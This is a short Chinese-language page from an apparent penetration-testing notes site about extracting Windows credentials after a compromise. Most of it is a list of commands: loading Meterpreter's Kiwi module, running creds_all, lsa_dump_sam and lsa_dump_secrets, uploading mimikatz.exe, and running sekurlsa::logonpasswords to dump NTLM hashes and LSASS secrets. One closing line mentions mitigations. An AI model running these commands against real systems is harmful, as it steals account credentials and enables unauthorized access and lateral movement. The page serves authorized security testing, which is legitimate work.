> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/windows-vulnerabilities/local-privilege-escalation-and-credentials/windows-hash-dumping-with-mimikatz.md).
# 使用 Mimikatz 转储 Windows 哈希
Mimikatz 和 Meterpreter Kiwi 可以从 LSASS、SAM 数据库和 LSA 密钥中提取 Windows 机密。使用结果来验证本地访问或会话遭入侵的影响。
## Meterpreter Kiwi 模块
```
load kiwi
```
列出可访问的凭据：
```
creds_all
```
## 转储 SAM 和 LSA 密钥
```
lsa_dump_sam
```
```
lsa_dump_secrets
```
## 运行 Mimikatz
```
upload /usr/share/windows-resources/mimikatz/x64/mimikatz.exe
lsadump::sam
lsadump::secrets
sekurlsa::logonpasswords
```
## 关键要点
* LSASS 可能包含活动登录会话的凭据。
* SAM 包含本地账户的 NTLM 哈希。
* 可通过 Credential Guard、减少本地管理员暴露以及监控 LSASS 访问来缓解。
---
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